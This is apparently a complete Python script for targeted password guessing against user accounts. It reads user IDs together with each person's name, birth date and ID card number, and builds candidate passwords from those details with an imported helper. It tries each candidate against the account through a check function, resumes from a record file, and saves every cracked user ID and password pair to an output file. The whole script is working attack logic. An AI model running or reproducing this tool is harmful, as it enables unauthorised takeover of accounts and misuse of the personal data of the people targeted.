import sys
import getopt
import pwdtest
import mmutils.aux_reader as aux_reader
import logging
import re
import mmdiy
import mmweak

logging.basicConfig(level=logging.INFO)

# logging.disable(logging.ERROR)

def is_pass(pwd) :
    
    score = 0
    if re.search('[a-z]', pwd) :
        score += 1
    if re.search('[A-Z]', pwd) :
        score += 1
    if re.search('\d', pwd) :
        score += 1
    if score < 2 :
        return False
    
    return True
 
def show_usage() :
    print("all params all needed:\n-u specify userid file\n-r specify record file\n-o specify output file\n-i specify userinfo file\n")

if __name__ == "__main__" :

    opts, args = getopt.getopt(sys.argv[1:], "hu:r:o:i:")

    user_id_file = ''
    record_file_path = ''
    out_file_path = ''
    user_info_file = ''

    for option, value in opts :
        if option == "-u" :
            user_id_file = value
        elif option == '-r' :
            record_file_path = value 
        elif option == '-o' :
            out_file_path = value
        elif option == '-i' :
            user_info_file = value

    if user_id_file == '' or record_file_path == ''  or out_file_path == '' or user_info_file == '':
            show_usage()
            sys.exit()

    failed = []

    user_list = aux_reader.read_data(user_id_file)
    done_list = aux_reader.read_data(record_file_path)
    userinfos = aux_reader.read_userinfo(user_info_file)

    with open(record_file_path, "a+") as record_file, open(out_file_path, "a+") as out_file :

        for userid in user_list :
            if not userid in userinfos :
                continue

            username = userinfos[userid]['username']
            usercard = userinfos[userid]['usercard']
            userbirth = userinfos[userid]['userbirth']

            if username != '' and userbirth != '' and usercard != '' :

                if userid in done_list :
                    continue

                flag = False

                pwd_list = mmweak.get_pwds(username, userbirth, usercard, '')

                # # apply transfer
                # pwds = mmdiy.Password()
                # pwds.set_pwds(pwd_list)
                # pwds.transfer_0()
                # pwd_list = pwds.get_pwds()

                userpwd = ''

                for pwd in pwd_list :

                    if not is_pass(pwd) :
                        continue

                    res = pwdtest.check(userid, pwd)

                    if res == 0 :
                        userpwd = pwd
                        flag = True
                        break
                    elif res == -1 :
                        logging.error("ERR [%s, %s]" % (userid, userpwd))
                        failed.append((userid, pwd))
                
                if not flag :
                    logging.info("FAIL [%s]" % (userid))
                else :
                    logging.info("GET [%s, %s]" % (userid, userpwd))
                    out_file.write("%s %s\n" % (userid, userpwd))
                    out_file.flush()
                
                record_file.write("%s\n" % (userid))
                record_file.flush()
    
    print(failed)
